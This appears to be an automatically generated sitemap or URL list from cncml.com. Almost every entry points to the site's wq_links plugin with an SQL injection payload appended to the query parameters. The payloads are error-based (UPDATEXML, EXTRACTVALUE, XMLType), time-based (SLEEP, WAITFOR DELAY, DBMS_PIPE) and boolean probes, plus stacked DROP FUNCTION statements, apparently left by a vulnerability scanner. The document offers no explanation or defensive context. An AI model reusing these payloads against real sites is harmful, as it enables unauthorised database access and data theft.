http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25%27%29%20AND%2026%3D26%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25%27%29%20AND%2071%3D21%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%2036=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%2084=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=57)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%2527%20AND%2011=11%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true%2527%20AND%2043=61%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%20'7m'='7m 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%20'dC'='wn 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20OR%20'6Y'='6Y'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'ep'='ep 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(46=16)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20'GR'='GR 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%2011=84%20AND%20('sz'='sz 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%2031=31%20AND%20('aT'='aT 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20('vh'='vh 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=74)%20THEN%20'true'%20ELSE%200x28%20END))%20AND%20('xi'='xi 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true';%20IF(19=16)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true';%20IF(67=67)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true);%20IF(31=31)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true);%20IF(67=97)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=true,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=wq_links:main&mod=apply&applysubmit=trueAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?mod=apply&applysubmit=true&id=wq_links:main')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 